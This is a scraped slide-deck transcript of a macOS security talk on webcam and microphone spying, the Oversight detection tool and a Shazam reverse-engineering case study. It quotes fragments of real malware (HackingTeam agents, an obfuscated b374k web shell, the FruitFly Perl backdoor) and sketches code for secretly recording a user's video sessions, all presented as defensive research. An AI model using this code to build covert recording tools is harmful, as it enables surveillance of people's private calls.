What is a Computer? Input Devices /output devices
NewMind AI Weekly Chronicles – August ’25 Week III
Final SEM Unit 1 for mit wpu at pune .pptx
cloud_computing_Infrastucture_as_cloud_p
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game

Oversight: Exposing spies on macOS

  • 2. WHOIS “leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints” security for the 21st century @patrickwardle
  • 3. exposing audio/video spies on macOS OUTLINE background mac malware 'piggy-backing' protection
  • 5. in the news (hackers) WEBCAMS "meet the men who spy on women through their webcams"
 -arstechnica.com "shut up and dance"
 -black mirror (S3, E3)
  • 6. in the news (governments) WEBCAMS "NSA and its spy partners possess specialized tools for...taking surreptitious pictures and videos" 
 -wired.com
  • 7. simplest; use avfoundation's apis PROGRAMMATICALLY ACCESSING THE WEBCAM/MIC avfoundation: "you can use it to examine, create, edit, or re-encode media files. You can also get input streams from devices..." -apple "AVFoundation Programming Guide" (apple) } AVFoundation stack (OS X )
  • 8. must explicitly specify via entitlements SANDBOXED APPS + WEBCAM ACCESS? entitlement: 'com.apple.security.device.camera' non-sandboxes apps, do not require an entitlement to access the webcam app sandbox
  • 9. RECORDING VIDEO ON MACOS #import "VideoSnap.h" #import <AVFoundation/AVFoundation.h> VideoSnap *videoSnap; //ctl+c handler void SIGINT_handler(int signum) { 
 //stop recoding [videoSnap stopRecording:signum]; } int main(int argc, const char * argv[]) { //setup ctl+c handler signal(SIGINT, &SIGINT_handler); //alloc/start recording videoSnap = [[VideoSnap alloc] init] record]; //run loop [[NSRunLoop currentRunLoop] run]; } github.com/ matthutchinson/videosnap main()/sigint (ctl+c) handler "videosnap"
  • 10. RECORDING VIDEO ON MACOS //class interface @interface VideoSnap : NSObject <AVCaptureFileOutputRecordingDelegate> { AVCaptureSession *session; AVCaptureMovieFileOutput *output; } -(void)record {
 
 //grab default device
 AVCaptureDevice* device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
 
 //init session and output file obj
 session = [[AVCaptureSession alloc] init];
 output = [[AVCaptureMovieFileOutput alloc] init];
 
 //init video input
 AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:nil];
 
 //add input & output
 [self.session addInput:input];
 [self.session addOutput:output];
 
 //go go go!
 [self.session startRunning];
 [movieFileOutput startRecordingToOutputFileURL:
 [NSURL fileURLWithPath:@"out.mov"] recordingDelegate:self]; } video recoding logic (via avfoundation)
  • 11. RECORDING VIDEO ON MACOS //invoke from ctl+c handler // ->invoke stopRecoding on 'AVCaptureMovieFileOutput' object -(void)stopRecording:(int)sigNum { //stop recording [self.output stopRecording]; } // AVCaptureFileOutputRecordingDelegate delegate method // ->automatically invoked when output file is done 'writing out' -(void)captureOutput:(AVCaptureFileOutput *)captureOutput didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { 
 //stop session & exit [self.session stopRunning]; exit(0); } stopping/finalizing the video capture $ ./videoSnap capturing video off 'FaceTime HD Camera' ^ctl+c ....saving capture to 'out.mov' $ file out.mov ISO Media, Apple QuickTime movie (.MOV/QT)
  • 12. RECORDING AUDIO ON MACOS //get default audio device AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio]; //create input device AVCaptureDeviceInput *audioInput = [AVCaptureDeviceInput deviceInputWithDevice:audioDevice error:nil]; //add to capture session [self.session addInput:audioInput]; ... simply find/add device of type 'AVMediaTypeAudio' $ ./audioSnap capturing audio off 'Built-in Microphone' ^ctl+c ....saving capture to 'out.mov' $ file out.mov ISO Media, Apple QuickTime movie (.MOV/QT) no alert (LED, etc)
  • 13. hardware based, in firmware THE WEBCAM LED Q: "Is it possible for someone to hack into the camera...and the green light not be on?" A: "This feature is implemented in the firmware...
 Now, while it's technically possible to replace that firmware, you would have to do some Mission Impossible sh** to pull that off (break into Apple/Chinese camera chip manufacturer, steal firmware source code, modify it, and then somehow inject it into the camera, which probably involves physically removing it from the computer" -reddit LED, hardware based signed firmware? immutable?› › tl;dr (now) extremely difficult (physical access?)
  • 14. macbooks (2008) ISIGHT ARCHITECTURE "iSeeYou: Disabling the MacBook Webcam Indicator LED" -JHU Cyprus EZ-USB Micron Image Sensor host computer usb connectiona b c dLED light a Host computer communicates with USB controller b USB micro-controller communicates with the image sensor via I/O pins c LED indictor connected to STANDBY input (off when STANDBY, on otherwise) d Image sensor produces images
  • 15. ...give it new firmware REPROGRAMMING ISIGHT 1 1 2 2 "it [USB controller] can be reprogrammed at any time using 'Firmware Load' requests. Furthermore, it can be reprogrammed from any user space process" -JHU 'upload' malicious firmware to USB controller keep STANDBY asserted ('on') configure image sensor to ignore STANDBY › › wow, too 'easy' :/
  • 16. 0x1: physically cover PROTECT YOUR WEBCAMS 
 "Cover up your webcam" -FBI director facebook guy amazon has covers
  • 17. 0x2: via file permissions PROTECT YOUR WEBCAMS # csrutil status System Integrity Protection status: disabled. # chmod 200 /System/Library/Frameworks/CoreMediaIO.framework/Versions/A/Resources/VDC.plugin/ Contents/MacOS/VDC # chmod 200 /System/Library/PrivateFrameworks/CoreMediaIOServicesPrivate.framework/Versions/A/ Resources/AVC.plugin/Contents/MacOS/AVC # chmod 200 /System/Library/QuickTime/QuickTimeUSBVDCDigitizer.component/Contents/MacOS/ QuickTimeUSBVDCDigitizer # chmod 200 /Library/CoreMediaIO/Plug-Ins/DAL/AppleCamera.plugin/Contents/MacOS/AppleCamera # chmod 200 /Library/CoreMediaIO/Plug-Ins/FCP-DAL/AppleCamera.plugin/Contents/MacOS/AppleCamera 1 2 disable System Integrity Protection set webcam related plugins to '--w-------' } "how to disable webcam....completely" -osxdaily
  • 18. AUDIO/VIDEO 'AWARE' MALWARE becoming ever more prevalent :(
  • 19. hackingteam's implant OS X/CRISIS “Building HackingTeam's 
 OS X Implant For Fun & Profit" launch agent rootkit component persistence (leaked source code) intelligence collec5on
  • 20. webcam access OS X/CRISIS /* * RCSMac - Webcam agent * * Copyright (C) HT srl 2009. All rights reserved * */ -(BOOL)_initSession { mCaptureSession = [[QTCaptureSession alloc] init]; mDevice = [QTCaptureDevice defaultInputDeviceWithMediaType:QTMediaTypeVideo]; mCaptureDeviceInput = [[QTCaptureDeviceInput alloc] initWithDevice: mDevice];
 [mCaptureSession addInput: mCaptureDeviceInput error: &error]
 .... } HT's webcam capture code (RCSMAgentWebcam.m) // modules keywords #define MODULES_ADDBK_KEY @"addressbook" #define MODULES_MSGS_KEY @"messages" #define MODULES_MIC_KEY @"mic" #define MODULES_SNP_KEY @"screenshot" #define MODULES_KEYL_KEY @"keylog" #define MODULES_CAMERA_KEY @"camera" #define MODULES_CHAT_KEY @"chat" #define MODULES_MOUSE_KEY @"mouse"
  • 21. mic access OS X/CRISIS /* * RCSMAgentMicrophone.m * Microphone Agent for MacOS * Uses AudioQueues from AudioToolbox * * Copyright (C) HT srl 2011. All rights reserved */ -(void)startRecord { infoLog(@"Starting mic agent"); // Create a new recording audio queue success = AudioQueueNewInput(&mDataFormat,myInputAudioCallback,self, NULL,kCFRunLoopCommonModes,0,&mQueue); .... // Start the queue success = AudioQueueStart(mQueue, NULL); } HT's mic capture code (RCSMAgentMicrophone.m) // modules keywords #define MODULES_ADDBK_KEY @"addressbook" #define MODULES_MSGS_KEY @"messages" #define MODULES_MIC_KEY @"mic" #define MODULES_SNP_KEY @"screenshot" #define MODULES_KEYL_KEY @"keylog" #define MODULES_CAMERA_KEY @"camera" #define MODULES_CHAT_KEY @"chat" #define MODULES_MOUSE_KEY @"mouse"
  • 22. trojan + tor backdoor OS X/ELEANOR-A 'EasyDoc Convertor' 
 (macupdate.com) <?php /* b374k shell 3.2.3 / Jayalah Indonesiaku https://github.com/b374k/b374k */ $GLOBALS['pass'] = "15bd408e435dc1a1509911cfd8c312f46ed54226"; $func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$ ... b374k shell tor hidden service
  • 23. webcam capture OS X/ELEANOR-A osx/eleanor & utilities $ ./wacaw --video --duration 60 capture.avi video size (160 x 120) duration 60 seconds $ file capture.avi capture.avi: ISO Media, Apple QuickTime movie sourceforge.net /p/webcam-tools wacaw wacaw: "a collection of tools and scripts for processing images and video from attached USB and FireWire webcams on Mac OS X"
  • 24. 'sophisticated' cross-platform backdoor OS X/MOKES "This malware...is able to steal various types of data from the victim’s machine (Screenshots, Audio-/Video- Captures, Office-Documents, Keystrokes)" -kaspersky screen}capture video audio execute monitor for removable media search for office docs 0000001C unicode :/file-search 0000000E unicode *.xlsx 0000000C unicode *.xls 0000000E unicode *.docx 0000000C unicode *.doc capture
  • 25. webcam capture via QT OS X/MOKES AVFMediaRecorderControl::AVFMediaRecorderControl(AVFCameraService *,QObject *) AVFMediaRecorderControl::setState(QMediaRecorder::State) AVFMediaRecorderControl::setupSessionForCapture(void) plugins/avfoundation/camera/ avfmediarecordercontrol.mm AVFMediaRecorderControl::setupSessionForCapture(void) proc ... call AVFCameraSession::state(void) call AVFAudioInputSelectorControl::createCaptureDevice(void) lea rdx, "Could not connect the video recorder" ...
 call QMediaRecorderControl::error(int,QString const&) IDA disasm
  • 26. backdoor targeting biomedical research institutions OS X/FRUITFLY (QUIMITCHIN) $ file FruitFly/client client: a /usr/bin/perl script executable $ less FruitFly/client #!/usr/bin/perl use strict;use warnings;use IO::Socket;use IPC::Open2;my$a;sub A{die if!defined syswrite$a,$_[0]} sub B{my($b,$c)=('','');while($_[0]>length$b){die if!sysread$a,$c,$_[0]-length$b;$b.=$c;}return $b;}sub C{unpack'V',B 4}sub E{B C}sub G{my$b=E;$b=~s////g;$b}sub H{my$b=eval{my$d=`$_[0]`;chomp ... __DATA__ <CE><FA><ED><FE>.... 'client' perl script connection attempts launch agent persistence
  • 27. webcam capture QuickTime APIs OS X/FRUITFLY (QUIMITCHIN) int sub_2f80(int arg0, int arg1, int arg2, int arg3) { eax = OpenDefaultComponent(0x62617267, 0x0); eax = SGInitialize(); eax = SGNewChannel(); eax = SGGetChannelDeviceList(); eax = SGStartRecord(); hopper decompile $ file FruitFly/client client: Mach-O executable i386 $ ls MacOSX10.11.sdk MacOSX10.12.sdk $ locate QuickTime.h /MacOSX10.11.sdk/System/Library/Frameworks/QuickTime.framework/Versions/A/Headers/QuickTime.h }deprecated APIs 32-bit only
  • 29. ...for a variety of legit & sensitive uses USERS USE THEIR WEBCAMS business meetings skyping with sources R&D sessions intimate FaceTimes
  • 30. record audio/video during such sessions (!detected) THE GOAL infected mac user initiates webcam session malware detects this & begins recording (until session ends) ...and exfil's it to remote attacker
  • 31. enumerate camera DETECTING VIDEO SESSION #import <AVFoundation/AVFoundation.h> //array of cameras NSArray *cameras = nil; //get cameras cameras = [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo]; //enumerate all // ->display info, etc for(AVCaptureDevice* camera in cameras) { //display info NSLog(@"camera: %@/%@", camera.manufacturer, camera.localizedName); } $ ./enumCameras camera: Apple Inc./FaceTime HD Camera camera enumeration
  • 32. register for notifications DETECTING VIDEO SESSION //grab connection ID connectionID = [camera performSelector:NSSelectorFromString(@"connectionID") withObject:nil]; //property struct CMIOObjectPropertyAddress propertyStruct = {0}; //init property struct's selector propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere; //init property struct's scope propertyStruct.mScope = kAudioObjectPropertyScopeGlobal; //init property struct's element propertyStruct.mElement = kAudioObjectPropertyElementMaster; //block // ->invoked when video changes & just calls helper function CMIOObjectPropertyListenerBlock listenerBlock = ^(UInt32 inNumberAddresses, const CMIOObjectPropertyAddress addresses[]) { //handle notification }; //register (add) property block listener CMIOObjectAddPropertyListenerBlock(connectionID, &propertyStruct, 
 dispatch_get_main_queue(), listenerBlock); notification registration
  • 33. handle the notification DETECTING VIDEO SESSION //running flag UInt32 isRunning = -1; //size of query flag UInt32 propertySize = sizeof(isRunning); //property address struct CMIOObjectPropertyAddress propertyStruct = {0}; //init property struct's selector propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere; //init property struct's scope propertyStruct.mScope = kCMIOObjectPropertyScopeGlobal; //init property struct's element propertyStruct.mElement = 0; //query to get 'kAudioDevicePropertyDeviceIsRunningSomewhere' status CMIOObjectGetPropertyData(deviceID, &propertyStruct, 0, NULL, sizeof(kAudioDevicePropertyDeviceIsRunningSomewhere), &propertySize, &isRunning); //check if camera went active! if(YES == isRunning) { //record! } determine camera status or? camera went active, record!
  • 34. standard APIs & recording logic! RECORDING THE SESSION //capture session AVCaptureSession* session = [[AVCaptureSession alloc] init]; 
 //video input AVCaptureDeviceInput* input = [AVCaptureDeviceInput deviceInputWithDevice:videoDevice error:NULL]; //output file AVCaptureMovieFileOutput* output = [[AVCaptureMovieFileOutput alloc] init]; //add input [session addInput:input]; //add output [session addOutput:output]; //start session [session startRunning]; //start recording! [movieFileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"someFile"] recordingDelegate:self]; 'shared' access
  • 35. the malware shouldn't keep the camera on! DETECTING SESSION END application termination -(void)registerNotification { //register for 'app terminated' notification [[[NSWorkspace sharedWorkspace] notificationCenter] addObserver:self selector:@selector(appTerminated:) name:NSWorkspaceDidTerminateApplicationNotification object:nil]; } -(void)appTerminated:(NSNotification *)note { //dbg msg NSLog(@"application terminated %@", note.userInfo); //webcam initiator? // ->stop recording too! if(YES == [webcamApp isEqualToString:note.userInfo[@"NSApplicationPath"]]) //stop recording $ ./register4Notifications NSApplicationBundleIdentifier = "com.apple.FaceTime"; NSApplicationName = FaceTime; NSApplicationPath = "/Applications/FaceTime.app"; NSApplicationProcessIdentifier = 63527;
  • 36. and users le sad :( WHY THIS MAKES MALWARE HAPPY no root always record "invisible" }apple 'approved'
  • 38. detect any/all processes that access camera/mic THE GOAL monitor for cam/mic usage identify consumer process while(webcam in use) › monitor for consumers novel features! detect/block steps: detect all consumers @Morpheus______ & @DubiousMind - mahalo!!
  • 39. detect any/all processes that access camera/mic THE TOOL: OVERSIGHT detects audio/video use } objective-see.com (free!) access via 
 status bar id's primary & seconds consumer webcam processes user can allow or block
  • 40. detect any/all processes that access the camera THE TOOL: OVERSIGHT Login Item XPC serviceXPC comms status menu monitor audio/ video changes find consumer kill process alert user
  • 41. at the moment, not an exact science - but works! IDENTIFYING CONSUMER VIDEO PROCESSES camera assistant process consumer process monitor for msgs query for "mach-msg-sending" processes analyze each process › loaded libraries › thread backtraces AFAIK; no direct method to determine consumer processes mach msg
  • 42. good start, but limited 'features' OVERSIGHT VERSION 1.0 85,000+ downloads no audio-process identification (mic) no whitelisting beat out the US Govt ;) room for improvement! no command-line interface
  • 43. (v1.1) who's using the mic? IDENTIFYING CONSUMER AUDIO PROCESSES oversight core audio daemon (coreaudiod) mach msg mic is active! siri mic ioregistry
  • 44. (v1.1) allow trusted apps WHITE-LISTING PROCESSES alert white-listed apps will ignore 
 white-listed apps 1 2 3
  • 46. can you hear me now? CASE STUDY: SHAZAM flight to EkoParty Conference = no distractions
  • 47. can you hear me now? CASE STUDY: SHAZAM song identification on & listening OverSight alert
  • 48. but what about when we turn it off? CASE STUDY: SHAZAM no OverSight 'deactivation' alert they aren't still listening? are they!?! "shazam is here to lend its ears to your mac" 
 -shazam
  • 49. digging into the app's components CASE STUDY: SHAZAM BlockBlock alert Shazam's app bundle "Modern Login Items"
 martiancraft.com/blog/2015/01/login-items/›
  • 50. reversing Shazam Login Item CASE STUDY: SHAZAM -[SHLPAppDelegate applicationDidFinishLaunching:] 
 mov r13, cs:_objc_msgSend_ptr mov rdi, cs:classRef_NSURL mov rsi, cs:selRef_URLWithString_ lea rdx, cfstr_ShazammacLaunc ; "shazammac://launch" call r13 
 mov rdi, cs:classRef_NSWorkspace mov rsi, cs:selRef_sharedWorkspace call r13 mov r14, rax
 mov rsi, cs:selRef_openURL_ mov rdi, r14 mov rdx, rbx call r13 -[SHLPAppDelegate applicationDidFinishLaunching:] { //create URL NSURL* url = [NSURL URLWithString:@"shazammac://launch"]; //open it [[NSWorkspace sharedWorkspace] openURL:url]; } disassembly pseudo code login login item shazam (automatically started)
  • 51. Shazam's URL Schemes CASE STUDY: SHAZAM $ cat /Applications/Shazam.app/Contents/Info.plist <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <dict> <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleTypeRole</key> <string>Editor</string> <key>CFBundleURLName</key> <string>com.shazam.mac.Shazam</string> <key>CFBundleURLSchemes</key> <array> <string>shazammac</string> </array> </dict> </array> ... Shazam's URL Schemes [CFBundleURLSchemes]
 
 url schemes the app can ‘handle’ scheme 
 shazamac://
  • 52. reversing Shazam Application CASE STUDY: SHAZAM what logic is executed when user toggles on/off? toggle $ classdump Shazam.app/Contents/MacOS/Shazam @interface SHMainViewController : NSViewController { SHAppTagManager *_tagManager; SHContinuousTagging *_continuousTagging; ... } -(void)toggleAutoTagging:(id)arg1; -(void)updateAutoTaggingUI; class dump of Shazam 'toggleAutoTagging:' 
 looks interesting! ...let's debug/analyze
  • 53. reversing 'toggleAutoTagging:' CASE STUDY: SHAZAM $ lldb /Applications/Shazam.app (lldb) target create "/Applications/Shazam.app" Current executable set to '/Applications/Shazam.app' (lldb) b -[SHMainViewController toggleAutoTagging:] (lldb) * stop reason = breakpoint 1.1 Shazam`-[SHMainViewController toggleAutoTagging:] arg name (for) objc_msgSend 0 RDI class 1 RSI method name 2 RDX 1st argument 3 RCX 2nd argument 4 R8 3rd argument 5 R9 4th argument calling convention 
 (system v, amd64 abi) (lldb) po $rdi <SHMainViewController: 0x10199d2e0> (lldb) x/s $rsi 0x10001f72d: "toggleAutoTagging:" (lldb) po $rdx <ITSwitch: 0x107c37a00> (lldb) p (BOOL)[$rdx isOn] (BOOL) $5 = NO 'ITSwitch' class
  • 54. reversing 'toggleAutoTagging:' CASE STUDY: SHAZAM void -[SHMainViewController toggleAutoTagging:] { //will execute when user toggles to 'OFF' if([rbx isContinuousTaggingRunning] != 0x0) { rbx = [r14 applicationConfiguration]; [rbx setUserDisabledTagging:0x1, rcx]; rbx = [[r14 tagManager] retain]; [rbx stopTagging]; } ... $ classdump Shazam.app/Contents/Frameworks/ ShazamSDK.framework/ShazamSDK @interface SHKTaggingInterruptController - (void)stopTagging; - (void)stopRecording; 1 void -[SHKTaggingInterruptController stopTagging] { ... [self stopTaggingForReason:0x2 withError:0x0 tagContext:0x0]; } -[SHMainViewController toggleAutoTagging:]2 -[SHKTaggingInterruptController stopTagging] 3 -[SHAppTagManager stopTagging] 4 //check if recording should stop r13 = (rbx, @selector(shouldStopRecordingWhenTaggingEnds)); if (r13 != 0x0) [r14 stopRecording]; 5 -[SHKTaggingInterruptController stopTaggingCommon:]
  • 55. reversing 'stopRecording' CASE STUDY: SHAZAM int ___33-[SHKAudioRecorder stopRecording]_block_invoke(int arg0) { rbx = [[*(arg0 + 0x20) audioConfigurator] retain]; r15 = AudioOutputUnitStop([rbx rioUnit]); } AudioOutputUnitStop: "stops an I/O audio unit, which in turn stops the audio unit processing graph that it is connected to" -apple recall though, 'stopRecording' is only invoked if 'shouldStopRecordingWhenTaggingEnds' return YES (TRUE)
  • 56. reversing 'shouldStopRecordingWhenTaggingEnds:' CASE STUDY: SHAZAM char -[SHKTaggingOptions shouldStopRecordingWhenTaggingEnds] { rax = [self taggingType]; rax = (rax == 0x2 ? 0x1 : 0x0) & 0xff; return rax; } 'taggingType' is 0x2? return 'YES' (TRUE/0x1) return 'NO' (FALSE/0x0) (lldb) * stop reason = breakpoint 2.1 ShazamSDK`-[SHKTaggingOptions shouldStopRecordingWhenTaggingEnds] (lldb) p (int)[$rdi taggingType] (int) $17 = 1 so, since 'taggingType' is not 0x2,'stopRecording' isn't called when user clicks 'OFF'...wtf!?
  • 57. are we sure? CASE STUDY: SHAZAM void -[SHAppTagManager startContinuousTagging] { rbx = [[self taggingController] retain]; [rbx startTaggingWithType:0x1]; ... } (lldb) p (BOOL)[0x100729040 isRecording] (BOOL) $19 = YES 'SHKAudioRecorder' instance 'taggingType' hardcoded turned off; 'isRecording' returns YES! Shazam admitted to 'continue recording'
  • 58. is this an issue? well... CASE STUDY: SHAZAM (lldb) bt
 frame #1: ShazamSDK`ShazamRecordingInputCallback + 1302 frame #2: CoreAudio`AUHAL::AUIOProc() + 2324 frame #3: CoreAudio`HALC_ProxyIOContext::IOWorkLoop() + 5453 frame #4: CoreAudio`HALC_ProxyIOContext::IOThreadEntry() + 131 frame #5: CoreAudio`HALB_IOThread::Entry() + //only process audio if 'generating' flag is set if (YES == (r14 = (rbx, @selector(generating), rdx, rcx))){ ... memcpy(*((rbx, @selector(audioConsumerBufferList)) + 0x10), var_38, 0x0); (lldb) * stop reason = breakpoint 3.1 ShazamSDK`-[SHKSignatureGenerator setGenerating:] (lldb) p (BOOL)$rdx
 (BOOL) $46 = NO 'OFF' thereof means simply, "stop processing the recorded data" ...not cease recording ('sampling')
  • 59. ` CASE STUDY: SHAZAM "updated the app to make sure the microphone is completely turned off when Shazam isn't running" -shazam, v1.2.1
  • 61. as traditional AV has (well-known) limitations GENERIC DETECTIONS keydnap (7/2016) (still) only 3 detections :( known limitations: only detects known samples
 trivial to bypass
  • 62. enumerate/monitor all persistent software MALWARE PERSISTS KnockKnock BlockBlock
  • 63. detect rapid creation of 🔐-files by untrusted procs RANSOMWARE ENCRYPTS! OSX/KeRanger creating encrypted files rapidly / high number by an untrusted process } RansomWhere? "Towards Generic Ransomware Detection"
  • 64. free security tools! OBJECTIVE-SEE(.COM) KnockKnock BlockBlock TaskExplorer Ostiarius Hijack Scanner KextViewr RansomWhere? support it :) www.patreon.com/objective_see
  • 65. contact me any time :) QUESTIONS & ANSWERS patrick@synack.com @patrickwardle www.synack.com/red-team join the red team! patreon.com/objective_see
  • 66. mahalo :) CREDITS - FLATICON.COM - THEZOOOM.COM - ICONMONSTR.COM - HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/ - HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/ 2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG 
 
 - "MAC OS X AND IOS INTERNALS" -JONATHAN LEVIN - LABS.BITDEFENDER.COM/WP-CONTENT/UPLOADS/2016/07/BACKDOOR-MAC-ELEANOR_FINAL.PDF - SECURELIST.COM/BLOG/RESEARCH/75990/THE-MISSING-PIECE-SOPHISTICATED-OS-X-BACKDOOR- DISCOVERED/ - HTTPS://DEVELOPER.APPLE.COM/LIBRARY/CONTENT/DOCUMENTATION/AUDIOVIDEO/CONCEPTUAL/ AVFOUNDATIONPG/ARTICLES/00_INTRODUCTION.HTML#//APPLE_REF/DOC/UID/TP40010188-CH1- SW3 images resources